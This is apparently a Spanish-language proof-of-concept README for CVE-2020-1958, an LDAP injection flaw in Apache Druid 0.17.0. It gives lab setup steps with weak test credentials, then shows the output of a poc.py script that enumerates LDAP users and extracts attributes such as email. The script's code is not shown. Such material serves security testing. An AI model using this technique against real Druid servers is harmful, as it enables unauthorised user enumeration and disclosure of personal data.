
CVE-2020-1958 PoC
CVE-2020-1958 es una vulnerabilidad de inyección LDAP de alta gravedad en Apache Druid 0.17.0. Permite a un atacante omitir el filtro de búsqueda LDAP y recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP.
Del aviso oficial de Apache Druid:
Cuando la autenticación LDAP está habilitada:
- Los llamantes de las API de Druid con un conjunto válido de credenciales LDAP pueden omitir la barrera del filtro
credentialsValidator.userSearchque determina si un usuario LDAP válido está autorizado para autenticarse en Druid. Todavía están sujetos a las comprobaciones de autorización basadas en roles, si están configuradas.- Los llamantes de las API de Druid pueden recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP, siempre que esa información sea visible para el servidor Druid. Esta divulgación de información no requiere que el llamante sea un usuario LDAP válido.
El script poc.py demuestra cómo un atacante no autorizado puede enumerar usuarios en el servidor LDAP integrado con Druid y obtener el valor de cualquier atributo de cualquier usuario.
Omita este paso si ya tiene un servidor Druid con autenticación LDAP habilitada.
Descargue Druid 0.17.0 y extráigalo
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
Habilite y configure la autenticación LDAP en conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
Habilite la extensión druid-basic-security
Localice druid.extensions.loadList y añada druid-basic-security:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
Configure la autenticación LDAP
Añada lo siguiente al final del archivo:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
Ejecute el servidor OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importe los usuarios de users.ldif a LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Ejecute el servidor Druid
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last